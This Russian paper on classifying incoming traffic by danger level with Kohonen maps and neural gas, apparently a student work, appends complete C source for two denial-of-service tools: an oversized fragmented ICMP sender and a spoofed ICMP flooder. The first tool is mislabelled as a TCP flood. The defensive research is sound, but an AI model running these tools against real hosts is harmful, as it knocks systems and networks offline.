Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа
где r – координаты нейрона в сетке.
Обычно применяется одна из двух функций от расстояния: простая константа:
,
или Гауссова функция:
,
При этом
является убывающей
функцией от
времени. Эту
величину называют
радиусом обучения.
Он выбирается
достаточно
большим на
начальном этапе
обучения и
постепенно
уменьшается
так, что в конечном
итоге обучается
один нейрон-победитель.
Наиболее часто
используется
функция, линейно
убывающая от
времени.
Функция
скорости обучения
также представляет
собой функцию,
убывающую от
времени. Наиболее
часто используются
два варианта
этой функции:
линейная и
обратно пропорциональная
времени вида:
,
где A и B это константы. Применение этой функции приводит к тому, что все вектора из обучающей выборки вносят примерно равный вклад в результат обучения.
Обучение состоит из двух основных фаз: на первоначальном этапе выбирается достаточно большое значение скорости обучения и радиуса обучение, что позволяет расположить вектора нейронов в соответствии с распределением примеров в выборке, а затем производится точная подстройка весов, когда значения параметров скорости обучения много меньше начальных.
2.3.6 Алгоритм нейронного газа
В этом алгоритме на каждой итерации все нейроны сортируются в зависимости от их расстояния до вектора x. После сортировки нейроны размечаются в последовательности, соответствующей увеличению удалённости.
![]()
где dk=|x-wm(i)| обозначает удалённость i-того нейрона, занимающего в результате сортировки m-ю позицию в последовательности, возглавляемой нейроном-победителем, которому сопоставлена удаленность d0. Значение функции соседства для i-того нейрона G(i,x) определяется по формуле:
![]()
в которой m(i) обозначает очерёдность, полученную в результате сортировки (m(i)=1,2,3,…,n-1), а лямбда - параметр, аналогичный уровню соседства в алгоритме Кохонена, уменьшающийся с течением времени. При лямбда =0 адаптации подвергается только нейрон-победитель, и алгоритм превращается в обычный алгоритм WTA, но при уточнению подлежат веса многих нейронов, причём уровень уточнения зависит от величины G(i,x).
Для достижения хороших результатов самоорганизации процесс обучения должен начинаться с большого значения лямбда, однако с течением времени его величина уменьшается до нуля.
3. Формализация задачи
В качестве группы пакетов, выступающих в качестве обучающего примера, возьмём 10 подряд идущих поступающих на рабочую станцию пакетов. Для построения модели оценим в каждой группе следующие параметры:
1.Число пакетов поступивших от хостов “своей” ЛВС.
2.Число фрагментированных пакетов.
3.Число TCP-пакетов.
4.Число UDP-пакетов.
5.Максимальное число пакетов в группе, пришедших от одного из хостов-отправителей.
6.Принадлежность хоста, отправителя наибольшего числа пакетов. (1 - “своя” ЛВС, 0 - иначе)
7.Средняя загрузка процессора (без учёта приложений не связанных с сетью). (%)
8.Изменение загрузки процессора с времени получения первого пакета до времени получения последнего пакета (без учёта приложений не связанных с сетью).(%)
9.Средний размер пакета. (байт)
10.Число пакетов размером в интервале с 0.8*x до 1.2*x, где x – средний размер пакета.
11. Число доступных хостов.
12. Число различных хостов.
Вышеперечисленные параметры будут являться входами модели. Пользователю следует определить размер карты Кохонена, а также параметры настройки нейронной сети. Остаётся только сгенерировать различные пакеты TCP, UDP и ICMP как обычные, так и “хакерские”, и переслать их на хост, ведущий журнал входящих пакетов и их параметров. Из данного журнала пакеты объединяются в группы (10 последовательно идущих пакетов). Для каждой группы определяются выделенные интегральные критерии.
Полученные данные служат для самообучения сети.
4. Эксперимент
На локальную станцию (192.168.0.3) поступают следующие пакеты:
TCP – обычные пакеты от станций собственной ЛВС. Соединение происходит в обычном режиме. Передача файлов.
ICMP – обычные пакеты, “проверка связи”.
UDP – обычные пакеты от станций ЛВС, обмен данными между приложениями BroodWar, Blizzard Intertainment.
TCP – обычные пакеты от хостов, на принадлежащих “своей” ЛВС, передача файлов.
TCP – “хакерские” пакеты. Паническая атака.
ICMP – пакеты, являющиеся следствием широковещательного шторма.
UDP – “хакерские” пакеты (посылка широковещательного шторма).
TCP – “хакерские” пакеты, фрагментрованные и не связанные между собой (aтака на файрфолл).
Эксперимент представляет собой посылку и запоминание чередующихся обычных и “опасных” пакетов. Причём в группе, относящийся к классу зарождающейся атаки, могут присутствовать и совершенно безвредные пакеты с данными и сообщениями. Того как заранее определённое число пакетов было получено и после предобработки в группы произошло обучение модели, необходимо произвести визуализацию карты Кохонена. На карте, состоящей из квадратов, где за каждый квадрат отвечает один нейрон, производится заливка в зависимости от класса опасности. Нейроны, отвечающие за класс - тотальная атака (большое число опасных пакетов), окрашиваются в более тёмно красные цвета, нейроны, классифицирующие обычную работу станции в сети (приём-передача данных), окрашены в более нейтральные цвета.
5. Результаты работы модели
1.Стандартный алгоритм Кохонена. Карта 10*10 нейронов.

Рис.5 Визуализация карты Кохонена при обучении стандартным алгоритмом Кохонена
Из-за того что многие нейроны после обучения остались мертвыми нейронная сеть имеет высокую погрешность квантования.
Самые опасные классы характеризуются следующими параметрами: небольшие по размеру пакеты, значительное количество пакетов одного типа, например только ICMP или UDP, и одного размера, во время получения этих групп пакетов происходит существенная загрузка процессора, значительная часть хостов - отправителей не доступны. Другим опасным классом является кластер с большими по размерам фрагментированными пакетами.
2.Стандартный алгоритм Кохонена с учётом соседства. Карта 10*10 нейронов.

Рис.6 Визуализация карты Кохонена при обучении стандартным алгоритмом Кохонена с учётом соседства
Из-за подстройки большего числа нейронов значительная часть нейронов – “живая”. Погрешность квантования значительно ниже. Визуально прослеживается группирование опасных групп пакетов. Между двумя основными очагами опасности (в левом и правом углах карты) расположены группы пакетов соответствующие безопасной передаче.
3.Обучение карты признаков с механизмом утомления. Карта 10*10 нейронов.

Рис.7 Визуализация карты Кохонена при обучении с использованием механизма утомления.
4. Обучение карты признаков с механизмом утомления и подстройкой соседей. Карта 10*10 нейронов.

Рис.8 Визуализация карты Кохонена при обучении обучении с использованием механизма утомления и подстройкой соседей.
5 .Алгоритм нейронного газа.=

Рис.9 Визуализация карты Кохонена при обучении. Алгоритмом нейронного газа
Большой разброс по карте различных цветов объясняется самим алгоритмом обучения: здесь соседство нейронов не зависит от расположения нейронов на карте признаков.
Кроме визуализации карты важны также значения синаптических весов. Синаптический вес W0=1- поляризация нейрона.
Пример.1

Рис.10 Карта Кохонена. 5*5 нейронов.
Ниже даны значения синаптических весов для каждого из “живых” нейронов.
|
Нейрон 0 1 7,87128697398845 0,625510201518193 2,7803597528978 1,89207931247814 3,29053079148225 0,846173185063035 13,5345966850206 7,0865225491331 129,307664502201 1,40585258052631 9,01013368873421 |
Нейрон 1 1 7,15478814257012 0,80038505604928 3,4657135681091 2,14143521744823 3,44359875511805 0,776338372597683 12,9441507600633 5,13478248587067 183,45652320823 0,892269137377325 8,8894329158617 |
Нейрон 2 1 6,51072352952404 0,992340068508278 4,06763582460853 2,78810515781772 3,8079162430252 0,67583544535221 11,7697105357889 1,88885822746819 277,625057718703 0,489223807498444 9,01986066715186 |
Нейрон 3 1 5,89443270744136 1,07835225630037 5,00871505425791 3,21406653769472 4,05965826713145 0,688612599435516 9,64055979833943 0,176019982013541 349,212505651654 0,307102637433364 8,2882446272146 |
|
Нейрон 4 1 5,70325599064924 1,50203934884403 5,48238703058519 2,857530344957 4,1045922884135 0,559367823973787 9,80870961032371 -2,51748577298294 388,707709851468 0,360064195846817 8,67487120799402 |
Нейрон 6 1 6,98662538009356 0,943325646563848 3,76316661580884 2,28074699102588 3,84435226155865 0,675295943164295 13,1166889150889 2,5894675318043 232,422065671803 0,578616436145349 9,30231795759802 |
Нейрон 7 1 6,4383154761932 1,30743427921713 4,43322764797434 2,5712769815738 4,015643912254 0,585958396325411 11,4384134686756 0,295227565032279 308,441204991856 0,436934279428607 9,22429249868916 |
Нейрон 8 1 6,2914496789632 1,49510940329358 5,16485493868028 2,94683540727014 4,26732605590749 0,59451625983309 10,9123469737949 -2,32327270509521 397,564552174538 0,581383154548032 9,07977817163535 |
|
Нейрон 9 1 5,78995420800614 1,73921623428801 5,64413639879408 2,83323796423943 4,40990583312066 0,500543095760549 11,1144609757214 -5,73252740367375 449,019038281951 0,657035152619139 9,23115369270226 |
Нейрон 10 1 6,97268621817446 0,79277691809128 4,02543058948051 2,46523221397023 3,77806690364019 0,676526389633808 13,8202281014187 0,469769683982962 259,238919476768 0,757542791254212 9,28309047834848 |
Нейрон 11 1 7,04631978115591 0,866271976699346 4,10365456015304 2,88223720882954 4,03150518348344 0,741278370899166 13,8559400919982 -1,255919505345 293,322921366235 0,704152207962319 9,48440166138134 |
Нейрон 12 1 6,53912681147659 1,56421780805537 4,65601147347958 2,9067904818665 4,27363452636153 0,618578255936595 12,5822623306945 -2,08418808911294 374,872439162492 0,774431791221968 9,54008041266804 |
|
Нейрон 13 1 5,69340841412797 2,44796836439865 5,48622818955848 2,92237813180815 4,67788797387526 0,423401926734283 12,1938129780133 -3,92356491480928 497,650849296462 1,22621001209077 9,58796185267328 |
Нейрон 14 1 5,10226147046721 2,74988223156105 5,9342783502907 2,83173118981968 4,95695609620259 0,316516196981386 12,0153591762438 -5,69212277788297 553,351005991353 1,42911651866737 9,61230903245157 |
Нейрон 15 1 6,98052845303821 1,22279827555202 4,46220766547028 2,90189348319595 4,15096271989555 0,718494733032167 13,8462699925973 -0,265034800167613 329,133144315137 0,789272703113608 9,41327311392812 |
Нейрон 16 1 6,78108488859872 1,4587788312988 4,75098402281347 2,99715775219415 4,35524349138507 0,688106328846737 13,146546408368 -1,83766433492922 378,789970538933 0,911094890831572 9,47688044148138 |
|
Нейрон 17 1 5,9813392597355 2,59141112244731 5,42222552146448 2,88984764450358 4,90655379368435 0,558857955310756 12,3129769708837 -1,59557885143347 509,639060778038 1,46442141785324 9,64035319482989 |
Нейрон 18 1 4,37316852020513 3,93024605710541 6,35532277636607 2,54556862325942 5,71566995847879 0,301720400062721 12,1338787032946 -0,810932403256381 666,82904006035 2,40887775038786 9,71260136248531 |
Нейрон 19 1 3,82835833175608 4,14740478540821 6,51201817449346 2,53488453447905 5,87186670401515 0,209331814630084 12,1270372594924 -1,30049493872786 704,444674316111 2,25030241452771 9,65725372019714 |
Нейрон 21 1 6,39813422562582 2,08493929159042 5,32829499657161 3,06032597511598 4,7641814353147 0,582189552264411 12,5599245219555 -1,96191395295381 469,290874929838 1,22613369905861 9,46669357056521 |
|
Нейрон 23 1 3,55908012277478 4,77646016724021 6,74861021282903 2,41585236193159 6,31871793270481 0,255152204011248 12,1980038558062 1,93696746210735 759,876377313462 2,82715213468638 9,64367900062772 |
Нейрон 24 1 3,37428950504548 4,73559755878779 6,67504947616927 2,51158813130044 6,22501279809869 0,20990156336746 12,1086739774428 1,00744771459805 778,544161691368 2,27296953057915 9,5765164059112 |
Табл. 1. Весовые коэффициенты нейронов карты Кохонена для примера 1.
Заключение
В результате проделанной работы создана интеллектуальная система анализа входящего трафика по классам опасности. Система построена на использовании нейронной сети конкурирующего типа. Реализовано обучение сети пятью методами самоорганизации: классический (с настройкой соседей и без неё), механизм утомления (с настройкой соседей и без неё) и алгоритм нейронного газа. В качестве обучающей выборки были использованы данные из журнала входящего трафика, содержащие как пакета передачи данных и управляющие пакеты, так и “опасные” пакеты направленные на нарушение работы хоста (атака для создания доверительного TCP – соединения, лавинное заваливание ICMP и UDP пакетами, передача крупных несвязанных фрагментированных пакетов). Входящие пакеты объединялись в группы и для каждой из групп определялись интегральные критерии на принадлежность к классу опасности. В результате самообучения нейронной сети создан классификатор входящих пакетов.
Список используемой литературы
1. Джон Чирилло. Обнаружение хакерских атак. Для профессионалов (+CD). – СПб.: Питер 2003. – 864 с.: ил.
2. И.Д. Медведовский, П.В. Семьянов, В.В. Платонов. Атака через Internet. Москва. НПО "Мир и семья-95" - 1997 3.Арсеньев С. “Извлечение данных из медицинских баз данных”
4. Круглов В.В., Борисов В.В. “Искусственные нейронные сети. Теория и практика”. –2-е изд., стереотип. - Москва: Горячая линия – Телеком, 2002 г. – 382 с.: ил.
5. Горбань А.Н., Россиев Д.А. “Нейронные сети на персональном компьютере” – Новосибирск: Наука. Сибирская издательская фирма РАН, 1996 г. –276 с.: ил.
6. Ф. Уоссерман “Нейрокомпьютерная техника: теория и практика” – Москва.: Мир, 1992 –182 стр.: ил.
7. Корнеев В.В., Гареев А.Ф., Васютин С.В., Райх В.В. “Базы данных. Интеллектуальная обработка информации” – Москва.: “Нолидж”, 2000 г., - 356с.: ил.
8. Осовский Станислав. Нейронные сети для обработки информации. М: Финансы и статистика. 2002 г. –335 с: ил.
9. Назаров А.В., Лоскутов А.И. Нейросетевые алгоритмы прогнозирования и оптимизации систем. Санкт-Петергург, Наука и техника. 2003 г. -
Листинг программ
1.Атака лавинного типа (запрос на создание TCP-соедиения)
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
int
main(int argc, char **argv)
{
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
struct icmp *icmp = (struct icmp *)(ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;
bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc != 2) {
fprintf(stderr, "usage: %s hostnamen", argv[0]);
exit(1);
}
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown hostn", argv[1]);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}
printf("Sending to %sn", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* kernel fills in */
ip->ip_src.s_addr = 0; /* kernel fills in */
dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
/* the checksum of all 0's is easy to compute */
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
ip->ip_off = FIX(offset >> 3);
if (offset < 65120)
ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
}
}
}
Листинг 2. Атака лавинного типа подменёнными ICMP – пакетами.
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#define IPHDRSIZE sizeof(struct iphdr)
#define ICMPHDRSIZE sizeof(struct icmphdr)
#define VIRGIN "1.1"
void version(void) {
printf("flood %s - by FA-Qn", VIRGIN);
}
void usage(const char *progname)
{
printf("usage: %s [-fV] [-c count] [-i wait] [-s packetsize] <target> <broadcast>n",progname);
}
unsigned char *dest_name;
unsigned char *spoof_name = NULL;
struct sockaddr_in destaddr, spoofaddr;
unsigned long dest_addr;
unsigned long spoof_addr;
unsigned pingsize, pingsleep, pingnmbr;
char flood = 0;
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
int resolve( const char *name, struct sockaddr_in *addr, int port )
{
struct hostent *host;
bzero((char *)addr,sizeof(struct sockaddr_in));
if (( host = gethostbyname(name) ) == NULL ) {
fprintf(stderr,"%s will not resolven",name);
perror(""); return -1;
}
addr->sin_family = host->h_addrtype;
memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
addr->sin_port = htons(port);
return 0;
}
unsigned long addr_to_ulong(struct sockaddr_in *addr)
{
return addr->sin_addr.s_addr;
}
int resolve_one(const char *name, unsigned long *addr, const char *desc)
{
struct sockaddr_in tempaddr;
if (resolve(name, &tempaddr,0) == -1) {
printf("%s will not resolven",desc);
return -1;
}
*addr = tempaddr.sin_addr.s_addr;
return 0;
}
int resolve_all(const char *dest,
const char *spoof)
{
if (resolve_one(dest,&dest_addr,"dest address")) return -1;
if (spoof!=NULL)
if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;
spoofaddr.sin_addr.s_addr = spoof_addr;
spoofaddr.sin_family = AF_INET;
destaddr.sin_addr.s_addr = dest_addr;
destaddr.sin_family = AF_INET;
}
void give_info(void)
{
printf("nattacking (%s) from (%s)n",inet_ntoa(spoof_addr),dest_name);
}
int parse_args(int argc, char *argv[])
{
int opt;
char *endptr;
while ((opt=getopt(argc, argv, "fc:s:i:V")) != -1) {
switch(opt) {
case 'f': flood = 1; break;
case 'c': pingnmbr = strtoul(optarg,&endptr,10);
if (*endptr != ' ') {
printf("%s is an invalid number '%s'.n", argv[0], optarg);
return -1;
}
break;
case 's': pingsize = strtoul(optarg,&endptr,10);
if (*endptr != ' ') {
printf("%s is a bad packet size '%s'n", argv[0], optarg);
return -1;
}
break;
case 'i': pingsleep = strtoul(optarg,&endptr,10);
if (*endptr != ' ') {
printf("%s is a bad wait time '%s'n", argv[0], optarg);
return -1;
}
break;
case 'V': version(); break;
case '?':
case ':': return -1; break;
}
}
if (optind > argc-2) {
return -1;
}
if (!pingsize)
pingsize = 28;
else
pingsize = pingsize - 36;
if (!pingsleep)
pingsleep = 100;
spoof_name = argv[optind++];
dest_name = argv[optind++];
return 0;
}
inline int icmp_echo_send(int socket,
unsigned long spoof_addr,
unsigned long t_addr,
unsigned pingsize)
{
unsigned char packet[5122];
struct iphdr *ip;
struct icmphdr *icmp;
struct iphdr *origip;
unsigned char *data;
int i;
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet+IPHDRSIZE);
origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);
data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);
memset(packet, 0, 5122);
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255-random()%15;
ip->protocol = IPPROTO_ICMP;
ip->tot_len = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);
bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));
bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr));
ip->check = in_cksum(packet,IPHDRSIZE);
origip->version = 4;
origip->ihl = 5;
origip->ttl = ip->ttl - random()%15;
origip->protocol = IPPROTO_TCP;
origip->tot_len = IPHDRSIZE + 30;
origip->id = random()%69;
bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));
origip->check = in_cksum(origip,IPHDRSIZE);
*((unsigned int *)data) = htons(pingsize);
icmp->type = 8; /* why should this be 3? */
icmp->code = 0;
icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8);
return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,
(struct sockaddr *)&destaddr,sizeof(struct sockaddr));
}
void main(int argc, char *argv[])
{
int s, i;
int floodloop;
if (parse_args(argc,argv))
{
usage(argv[0]);
return;
}
resolve_all(dest_name, spoof_name);
give_info();
s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (!flood)
{
if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)
{
printf("%s error sending packetn",argv[0]); perror(""); return;
}
}
else
{
floodloop = 0;
if ( pingnmbr && (pingnmbr > 0) )
{
printf("sending... packet limit setn");
for (i=0;i<pingnmbr;i++)
{
if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)
{
printf("%s error sending packetn",argv[0]); perror(""); return;
}
usleep((pingsleep*1000));
if (!(floodloop = (floodloop+1)%25))
{ fprintf(stdout,"."); fflush(stdout);
}
}
printf("ncomplete, %u packets sentn", pingnmbr);
}
else {
printf("flooding, (. == 25 packets)n");
for (i=0;i<1;i)
{
if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)
{
printf("%s error sending packetn",argv[0]); perror(""); return;
}
usleep(900);
if (!(floodloop = (floodloop+1)%25))
{ fprintf(stdout,"."); fflush(stdout);
}
}
}
}
}
Листинг 3. Самоорганизующаяся карта признаков.
TNeuron = class
public
IntVal : TIntArray;
ExtVal : TExtArray;
Pos : Extended;
Status : Extended;
Y : Extended;
MassWeight : Array of Extended;
constructor Init(a : PIntArray; b : PExtArray);
function FunctionActivation : Extended;
procedure GetAksonValue(a : PExtArray);
procedure Randomization;
procedure Distantion(a : PExtArray);
end;
TLayer = class
public
ExtArr : TExtArray;
Neurons : Array of TNeuron;
QNeurons : integer;
QInputs : integer;
InputValues : Array of Extended;
OutputValues : Array of Extended;
constructor Init(a : PIntArray; b : PExtArray);
procedure GetInputValues(Values : PExtArray);
procedure GetOutputValues;
procedure Excitement;
procedure randomization;
end;
TKohonenLayer = class(TLayer)
public
eta,sigma : Extended;
h,w : Word;
constructor Init(a : PIntArray; b : PExtArray);
procedure Normalize;
function TheWinnerTakesItAll : integer;
function Classic : integer;
procedure Learning(a : integer; SpeedLearn : Extended);
procedure LearningNeib(a : integer; SpeedLearn : Extended);
procedure SigmaInit(s : Extended);
procedure ConvexCombination(delta : Extended);
procedure NeuralGaz(SpeedLearn : Extended);
end;
procedure TKohonenLayer.SigmaInit(s : Extended);
begin
Sigma:=s;
end;
procedure TKohonenLayer.ConvexCombination(delta : Extended);
var i : integer;
begin
eta:=eta+delta;
sigma:=sigma+0.1-10*delta;
for i:=0 to QInputs-1 do InputValues[i]:=InputValues[i]*eta+(1-eta)/sqrt(QInputs);
end;
constructor TKohonenLayer.Init(a : PIntArray; b : PExtArray);
var i : integer;
New : TIntArray;
begin
Inherited Init(a,b);
New:=a^;
H:=New.Value[3];
W:=Round(New.Value[2]/New.Value[3]);
Randomization;
for i:=0 to New.Value[2]-1 do Neurons[i].Pos:=3.75;
eta:=0;
end;
procedure TKohonenLayer.Normalize;
var i : integer;
Sum : Extended;
begin
Sum:=0;
for i:=0 to QInputs-1 do Sum:=Sum+Sqr(InputValues[i]);
for i:=0 to QInputs-1 do
InputValues[i]:=InputValues[i]/Sqrt(Sum);
end;
function TKohonenLayer.TheWinnerTakesItAll : integer;
var i,p : integer;
Min : Extended;
begin
Min:=Neurons[0].Y;
p:=0;
for i:=1 to QNeurons-1 do
begin
if Neurons[i].Pos>0.75 then
if Min>Neurons[i].Y then
begin
p:=i;
Min:=Neurons[i].Y;
end;
end;
for i:=0 to QNeurons-1 do Neurons[i].Y:=0;
for i:=0 to QNeurons-1 do
if i=p then Neurons[i].Pos:=Neurons[i].Pos-0.75
else Neurons[i].Pos:=Neurons[i].Pos+1/QNeurons;
Neurons[p].Y:=1;
GetOutputValues;
TheWinnerTakesItAll:=p;
end;
function TKohonenLayer.Classic : integer;
var i,p : integer;
Min : Extended;
begin
Min:=Neurons[0].Y;
p:=0;
for i:=1 to QNeurons-1 do
begin
if Min>Neurons[i].Y then
begin
p:=i;
Min:=Neurons[i].Y;
end;
end;
for i:=0 to QNeurons-1 do Neurons[i].Y:=0;
Neurons[p].Y:=1;
GetOutputValues;
Classic:=p;
end;
procedure TKohonenLayer.Learning(a : integer; SpeedLearn : Extended);
var i : integer;
begin
for i:=1 to QInputs do
Neurons[a].MassWeight[i]:=Neurons[a].MassWeight[i]+
SpeedLearn*(InputValues[i-1]-Neurons[a].MassWeight[i]);
end;
procedure TKohonenLayer.LearningNeib(a : integer; SpeedLearn : Extended);
var i,j : integer;
begin
for j:=0 to QNeurons-1 do
begin
for i:=1 to QInputs do
Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+
exp(-(Sqr((j div